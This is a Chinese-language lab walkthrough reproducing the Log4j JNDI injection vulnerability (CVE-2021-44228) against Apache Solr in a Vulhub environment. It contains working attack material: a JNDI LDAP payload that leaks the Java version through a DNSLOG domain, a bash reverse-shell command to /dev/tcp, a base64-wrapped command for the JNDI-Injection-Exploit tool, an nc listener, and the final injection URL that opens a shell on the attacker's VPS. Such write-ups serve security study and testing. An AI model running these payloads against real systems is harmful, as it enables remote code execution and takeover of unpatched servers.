漏洞编号:CVE-2021-44228

影响版本:Log4j 2.x <= 2.14.1

复现环境:Docker+Vulhub+VPS(Ubuntu)

Log4j介绍

Apache Log4j 是 Apache 的一个开源项目,Apache log4j-2 是 Log4j 的升级,我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞介绍

Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

例如:

String a = "访问出错"
LOGGER.info("日志信息:{}",a);

我们可以通过这样的语句输出了一句日志信息,其中{}内容由我们传进去的变量决定。因此可以利用这个特点,传入恶意代码,例如${java.os}这样的语句。虽然这里输入的信息是日志的信息,用户是看不到的,但是可以利用DNSLOG将回显结果带出来。

JNDI注入简单介绍

JNDI,中文名叫java命名和目录接口,它为我们提供了命名和目录服务。JNDI其中有一个lookup()方法,这是一个查找方法,上面代码执行结果也正是因为log4j2在获取到${}这样的格式的时候会自动的去调用lookup()方法。造成这个漏洞的关键在于,它可以远程加载对象:

lookup("rmi://127.0.0.1/txph")
lookup("ldap://127.0.0.1/txph")

传入以上这样的参数,可以远程访问到本地的类,如果这些类里面有恶意代码造成RCE漏洞

漏洞复现

本次复现环境是由Vulhub漏洞靶场搭建的,具体搭建过程参考这篇文档

1.进入环境,找到注入点

一番寻找后,发现注入点:solr/admin/cores?action=

2.结合利用原理,构造Payload

  • 利用DNSLOG,显示Java版本信息

    1.首先在http://www.dnslog.cn/ 获取一个测试域名来监控我们注入的效果

    2.构造Payload:

    /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.ty0j22.dnslog.cn}

    回车后,查看回显

    由此可以判断出环境中Java的版本为1.8.0_102

  • 利用JNDI-Injection-Exploit工具进行反弹Shell

    1.开始漏洞利用,首先我们构造反弹shell用到的命令:

    bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

    2.反弹shell的命令需要进行编码,这里选择base64编码

    3.下载把JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar下载到反弹shell的vps上,运行以下命令:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,此处为反弹shell命令base64编码后的结果}|{base64,-d}|{bash,-i}" -A "此处为vps的ip地址"

    可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个jar的作用就是帮我们生成了恶意代码类,并且生成了对应的url

    4.利用NC开启端口监听并回到刚才的网站去进行JNDI注入

    nc -lvvp 端口号

​ 构造Payload:

/solr/admin/cores?action=${jndi:ldap://靶场ip:端口/0jcala}

​ 直接访问后,发现网页被重定向到了我们的恶意类地址:

​ 此时shell也已成功反弹到Vps上